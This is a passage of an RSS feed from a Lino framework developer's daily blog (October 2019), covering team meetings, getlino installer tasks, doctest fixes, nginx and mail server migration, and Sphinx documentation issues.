&lt;h2&gt;Who’s behind weasyprint?&lt;a class="headerlink" href="#who-s-behind-weasyprint" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Nice: The &lt;a class="reference external" href="https://community.kozea.fr/"&gt;Kozea community&lt;/a&gt; (maintainers of
weasyprint) describes itself with the following words:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;We build open source software that you will love&lt;/p&gt;
&lt;p&gt;After years and years of extremely intense research (and endless nights
drinking in pubs with friends), we’ve found the three most important rules of
free software development:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;have good ideas&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;forget limits&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;build step by step&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Having good ideas is hard, that’s why we chose to rely on your ideas (they’re
much better than ours, aren’t they?). Our job is to blindly follow the two other
rules, and we think that we’re doing that quite well according to what we got so
far:&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Deep in my heart I feel that I agree with them…&lt;/p&gt;
&lt;/section&gt;
&lt;section id="testing-it-on-the-preview-site"&gt;
&lt;h2&gt;Testing it on the preview site&lt;a class="headerlink" href="#testing-it-on-the-preview-site" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;MultiValueDictKeyError: ‘uuid’ after reading a beid card.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;After merging two persons, Lino says “Kann Klient XYZ (2248) nicht löschen
weil 52 Anwesenheiten darauf verweisen.”. That’s normal. You should not merge
Persons as long as one of them is also a client because Lino won’t merge the
client-specific slave tables.  But when deleting the person, it will also want
to delete the client, and that won’t work because related data exists.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1015.html</guid><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Monday, October 14, 2019</title><link>https://luc.lino-framework.org/blog/2019/1014.html</link><description>&lt;section id="monday-october-14-2019"&gt;
&lt;h1&gt;Monday, October 14, 2019&lt;a class="headerlink" href="#monday-october-14-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;This weekend I have been working on the &lt;a class="reference external" href="https://dev.lino-framework.org/dive/index.html#lino-dev" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-ref"&gt;Developer Guide&lt;/span&gt;&lt;/a&gt;,
trying to answer Amber’s questions.  It is getting better but there is still
much to do.&lt;/p&gt;
&lt;section id="standup-meeting"&gt;
&lt;h2&gt;Standup meeting&lt;a class="headerlink" href="#standup-meeting" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ivo, Tonis and I.&lt;/p&gt;
&lt;p&gt;We had a brainstorming session about how Ivo and Amber should contribute. Should
we give them write access and let them push directly to master?
I updated the &lt;a class="reference external" href="https://dev.lino-framework.org/team/pull_request.html#team-howto-submit" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Submit your first pull request&lt;/span&gt;&lt;/a&gt; page.
This weekend I read a joke on Reddit about pushing to master which I now mention on this page.&lt;/p&gt;
&lt;p&gt;I would like Tonis to test his changes for callback under a multi-process nginx
as well. So we had a test session for getlino : use it to simulate a production
server on a contributor environment (another use case yet to be documented).
Together we experienced the aha effect of getting it running almost out of the
box.&lt;/p&gt;
&lt;p&gt;This week Tonis will try to take over the following tasks :&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Review the Developer and the Contributor Guides so that it becomes useful for
newbies like Amber and Ivo.  For example people are still falling into a “void
space” when they finally managed to install their Lino environment.  Not sure
whether it makes sense to start with the Django tutorial.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Some more things to change in getlino (a quick list out of my head):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;as suggested by Amber: make backup of files before overwriting them&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;as suggested by Amber: in a developer environment the value for host_name of a new site must be “localhost” and not “first.localhost”.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sqlite database name should be “first.db” not just “first”.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sqlite db file was not writable after installing a simulated production server.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Switch nginx back from single-process to multi, this is in the cookiecutter-startsite project
&lt;code class="file docutils literal notranslate"&gt;&lt;em&gt;&lt;span class="pre"&gt;{cookiecutter.prjname&lt;/span&gt;&lt;/em&gt;&lt;span class="pre"&gt;}/nginx/&lt;/span&gt;&lt;em&gt;&lt;span class="pre"&gt;{cookiecutter.prjname&lt;/span&gt;&lt;/em&gt;&lt;span class="pre"&gt;}_uwsgi.ini&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The nginx config files created by &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; are named
PRJNAME/nginx/PRJNAME-something. No need to repeat the PRJNAME.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Should we stop having getlino use cookiecutter? Can’t we just use Jinja
directly? Cookiecutter seems overkill and introduces useless complexity.
E.g. each new parameter needs to be declared in the
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;cookiecutter.json&lt;/span&gt;&lt;/code&gt; file although we don’t need Cookiecutter in
interactive mode at all.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Before handing above worries over to Tonis I finished my changes to the
&lt;a class="reference external" href="https://dev.lino-framework.org/dive/index.html#lino-dev" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-ref"&gt;Developer Guide&lt;/span&gt;&lt;/a&gt; and pushed them to master after the meeting.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; failed in vilma and tera because their &lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; declared
to require lino and lino_xl doctrees which are not yet configured on the new
server. But actually these doctrees aren’t needed, so I removed the dependency.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="summary-of-dashboard-tables-in-doctest"&gt;
&lt;h2&gt;Summary of dashboard tables in doctest&lt;a class="headerlink" href="#summary-of-dashboard-tables-in-doctest" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A doctest &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/avanti/general.rst&lt;/span&gt;&lt;/code&gt; was failing because RecentComments is no longer
empty.  But it seems that  the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;show_dashboard&lt;/span&gt;&lt;/code&gt; method (used in doctests)
ignores the display_mode because here it shows the tabular view while it should
show the summary.  The web interface correctly shows the summary.&lt;/p&gt;
&lt;p&gt;Indeed that method didn’t show the summary of dashboard items if they
were a master table. Now it does. This applies e.g. for
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/comments.html#lino.modlib.comments.RecentComments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.RecentComments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/notify.html#lino.modlib.notify.MyMessages" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.notify.MyMessages&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It took me some time to debug this. Also had to release a new version of
&lt;a class="reference external" href="https://etgen.lino-framework.org/index.html#etgen" title="(in etgen v1.1)"&gt;&lt;span class="xref std std-ref"&gt;etgen&lt;/span&gt;&lt;/a&gt; because in some cases &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lxml.html.fragments_fromstring()&lt;/span&gt;&lt;/code&gt;
returns elements like STRONG or HTML or BODY.&lt;/p&gt;
&lt;p&gt;doctest seems to have a problem when +NORMALIZE_WHITESPACE is set, &lt;em&gt;and&lt;/em&gt; when
the only differences are caused by spaces, &lt;em&gt;and&lt;/em&gt; when +ELLIPSIS is being used
&lt;em&gt;and&lt;/em&gt; when the output contains Non-ASCII text.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1014.html</guid><pubDate>Mon, 14 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Sunday, October 13, 2019</title><link>https://luc.lino-framework.org/blog/2019/1013.html</link><description>&lt;section id="sunday-october-13-2019"&gt;
&lt;h1&gt;Sunday, October 13, 2019&lt;a class="headerlink" href="#sunday-october-13-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;In &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/nginx/sites-available/lino-framework-org.conf&lt;/span&gt;&lt;/code&gt; I changed:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;server_name&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt; &lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;to:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;server_name&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt; is now again visible at
&lt;a class="reference external" href="http://www.lino-framework.org/"&gt;http://www.lino-framework.org/&lt;/a&gt;
(this was needed as some links point there).&lt;/p&gt;
&lt;p&gt;The same file also confirms what Hamza and I decided to do:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;public_html&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;book_docs&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That is the static files are no longer under my user account but under
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/www&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So I must update my &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;./.invoke.py&lt;/span&gt;&lt;/code&gt; file I must change
&lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-docs_rsync_dest" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs_rsync_dest&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; from:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;docs_rsync_dest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;luc@lino-framework.org:~/public_html/&lt;/span&gt;&lt;span class="si"&gt;{prj}&lt;/span&gt;&lt;span class="s1"&gt;_&lt;/span&gt;&lt;span class="si"&gt;{docs}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;to:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;docs_rsync_dest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;luc@lino-framework.org:/var/www/public_html/&lt;/span&gt;&lt;span class="si"&gt;{prj}&lt;/span&gt;&lt;span class="s1"&gt;_&lt;/span&gt;&lt;span class="si"&gt;{docs}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;so that I can update the book by running &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt; &lt;span class="pre"&gt;pd&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I added nginx config for &lt;a class="reference external" href="http://community.lino-framework.org/"&gt;http://community.lino-framework.org/&lt;/a&gt; (by copying
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;luc-lino-framework-org.conf&lt;/span&gt;&lt;/code&gt; to &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;community-lino-framework-org.conf&lt;/span&gt;&lt;/code&gt;
and creating the link to &lt;cite&gt;sites-enabled&lt;/cite&gt;).&lt;/p&gt;
&lt;section id="mailing-lists-on-the-new-server"&gt;
&lt;h2&gt;Mailing lists on the new server&lt;a class="headerlink" href="#mailing-lists-on-the-new-server" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I tried to get the mailing lists running on the new server.  Hamza copied the
mailman configs correctly, but it doesn’t yet work because Postfix is not yet
installed. And Postfix uses Dovecot (POP and IMAP), and indeed we want this as
well on the new server.&lt;/p&gt;
&lt;p&gt;I did &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;apt&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;postfix&lt;/span&gt;&lt;/code&gt; and then copied the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/postfix&lt;/span&gt;&lt;/code&gt;
directory from the old server. Similar procedure for Dovecot (&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;apt&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt;
&lt;span class="pre"&gt;dovecot-common&lt;/span&gt;&lt;/code&gt;). Note that I didn’t do a simple recursive scp of the whole
directories but rather manually selected which files to copy.&lt;/p&gt;
&lt;p&gt;I saw that both Postfix and Dovecot require certbot certificates.&lt;/p&gt;
&lt;p&gt;I installed &lt;cite&gt;certbot &amp;lt;https://certbot.eff.org/lets-encrypt/debianbuster-nginx&amp;gt;&lt;/cite&gt;
(&lt;cite&gt;sudo apt-get install certbot python-certbot-nginx&lt;/cite&gt;).&lt;/p&gt;
&lt;p&gt;Only then I remembered that certbot was already installed for kopano and the
&lt;cite&gt;new.lino-framework.org&lt;/cite&gt;.  Seems that the new install didn’t hurt.&lt;/p&gt;
&lt;p&gt;Can I simply copy the certbot config files from the old server? What will
certbot say if we ask it to certify the known lino-frameworg.org hostnames with
a new IP address? Tonis suggested to try a plain copy.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1013.html</guid><pubDate>Sun, 13 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, October 12, 2019</title><link>https://luc.lino-framework.org/blog/2019/1012.html</link><description>&lt;section id="saturday-october-12-2019"&gt;
&lt;h1&gt;Saturday, October 12, 2019&lt;a class="headerlink" href="#saturday-october-12-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="documenting-a-command-and-referring-to-it-through-intersphinx"&gt;
&lt;h2&gt;Documenting a command and referring to it through intersphinx&lt;a class="headerlink" href="#documenting-a-command-and-referring-to-it-through-intersphinx" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I am having trouble with the
&lt;code class="xref rst rst-dir docutils literal notranslate"&gt;&lt;span class="pre"&gt;program&lt;/span&gt;&lt;/code&gt;
and &lt;code class="xref rst rst-dir docutils literal notranslate"&gt;&lt;span class="pre"&gt;option&lt;/span&gt;&lt;/code&gt;
directives.
&lt;a class="reference external" href="https://www.sphinx-doc.org/en/master/usage/restructuredtext/domains.html#the-standard-domain"&gt;Documentation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/api/rstgen.sphinxconf.base.html#module-rstgen.sphinxconf.base" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.sphinxconf.base&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; also defines a &lt;a class="reference external" href="https://atelier.lino-framework.org/sphinxext/index.html#directive-command" title="(in atelier v1.1)"&gt;&lt;code class="xref rst rst-dir docutils literal notranslate"&gt;&lt;span class="pre"&gt;command&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; directive.&lt;/p&gt;
&lt;p&gt;The following is declared in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;usage.rst&lt;/span&gt;&lt;/code&gt; of &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="n"&gt;configure&lt;/span&gt;

&lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="n"&gt;configure&lt;/span&gt;

&lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="n"&gt;option&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;

   &lt;span class="n"&gt;Bla&lt;/span&gt; &lt;span class="n"&gt;bla&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So we need intersphinx. Testing different ways to refer to these declarations:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#command-getlino-configure" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-https" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt; &lt;span class="pre"&gt;--https&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-https" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--https&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;:option:\`getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt; &lt;span class="pre"&gt;--https\`&lt;/span&gt;&lt;/code&gt;
causes a sphinx.errors.SphinxWarning &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;:unknown&lt;/span&gt; &lt;span class="pre"&gt;option:&lt;/span&gt; &lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt; &lt;span class="pre"&gt;--https&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://github.com/sphinx-doc/sphinx/issues/2822"&gt;https://github.com/sphinx-doc/sphinx/issues/2822&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="moved-lino-framework-org-to-a-new-server"&gt;
&lt;h2&gt;Moved lino-framework.org to a new server&lt;a class="headerlink" href="#moved-lino-framework-org-to-a-new-server" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;At 18:40  I changed the zone file: lino-framework.org no longer points to
194.204.31.42 but to 167.114.229.225&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(py3) luc@tups:~$ ping lino-framework.org
PING lino-framework.org (194.204.31.42) 56(84) bytes of data.
64 bytes from lino-framework.org (194.204.31.42): icmp_seq=1 ttl=56 time=11.5 ms
64 bytes from lino-framework.org (194.204.31.42): icmp_seq=2 ttl=56 time=11.1 ms
64 bytes from lino-framework.org (194.204.31.42): icmp_seq=3 ttl=56 time=11.6 ms
^C
--- lino-framework.org ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 11.146/11.458/11.651/0.222 ms
(py3) luc@tups:~$ ping lino-framework.org
PING lino-framework.org (167.114.229.225) 56(84) bytes of data.
64 bytes from 225.ip-167-114-229.eu (167.114.229.225): icmp_seq=1 ttl=50 time=48.0 ms
64 bytes from 225.ip-167-114-229.eu (167.114.229.225): icmp_seq=2 ttl=50 time=49.1 ms
^C
--- lino-framework.org ping statistics ---
3 packets transmitted, 2 received, 33% packet loss, time 2003ms
rtt min/avg/max/mdev = 48.004/48.598/49.193/0.634 ms
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1012.html</guid><pubDate>Sat, 12 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Friday, October 11, 2019</title><link>https://luc.lino-framework.org/blog/2019/1011.html</link><description>&lt;section id="friday-october-11-2019"&gt;
&lt;h1&gt;Friday, October 11, 2019&lt;a class="headerlink" href="#friday-october-11-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="multiple-primary-coachings"&gt;
&lt;h2&gt;Multiple primary coachings&lt;a class="headerlink" href="#multiple-primary-coachings" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I did &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3137"&gt;#3137&lt;/a&gt; for &lt;a class="reference external" href="https://welfare.lino-framework.org/api/index.html#welcht" title="(in Lino Welfare)"&gt;&lt;span&gt;The Châtelet variant of Lino Welfare&lt;/span&gt;&lt;/a&gt; : New plugin setting
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;multiple_primary_coachings&lt;/span&gt;&lt;/code&gt; for
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.coachings.html#module-lino_xl.lib.coachings" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.coachings&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  When this is set to True, the uniqueness of the
primary coaching is no longer just per client but per client and &lt;a class="reference external" href="https://dev.lino-framework.org/specs/coachings.html#term-coaching-type" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;coaching
type&lt;/span&gt;&lt;/a&gt;. As a result you can have multiple primary coachings per client.&lt;/p&gt;
&lt;p&gt;I applied this change as a local patch on their &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-production-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;production site&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="reviewed-the-developer-and-contributor-guides"&gt;
&lt;h2&gt;Reviewed the Developer and Contributor Guides&lt;a class="headerlink" href="#reviewed-the-developer-and-contributor-guides" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I made more changes in the book about installing Lino. &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/40"&gt;#40&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="miscellaneous-bugs"&gt;
&lt;h2&gt;Miscellaneous bugs&lt;a class="headerlink" href="#miscellaneous-bugs" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Fixed a side effect of &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3212"&gt;#3212&lt;/a&gt;.   When working on this ticket  I wasn’t
aware that Avanti also uses &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.comments.html#module-lino.modlib.comments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. This side effect  had
slipped through the test suite simply because the
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.avanti1.html#module-lino_book.projects.avanti1" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.avanti1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; demo site had no comments. Now it has, and the
side effect wouldn’t have gone unnoticed, so our coverage has increased :-)
It seems that there was yet another hidden bug
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/memo.html#lino.modlib.memo.PreviewableChecker" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo.PreviewableChecker&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; which became visible.&lt;/p&gt;
&lt;p&gt;To fix the actual problem (a &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Client&lt;/span&gt;&lt;/code&gt; indeed has no field
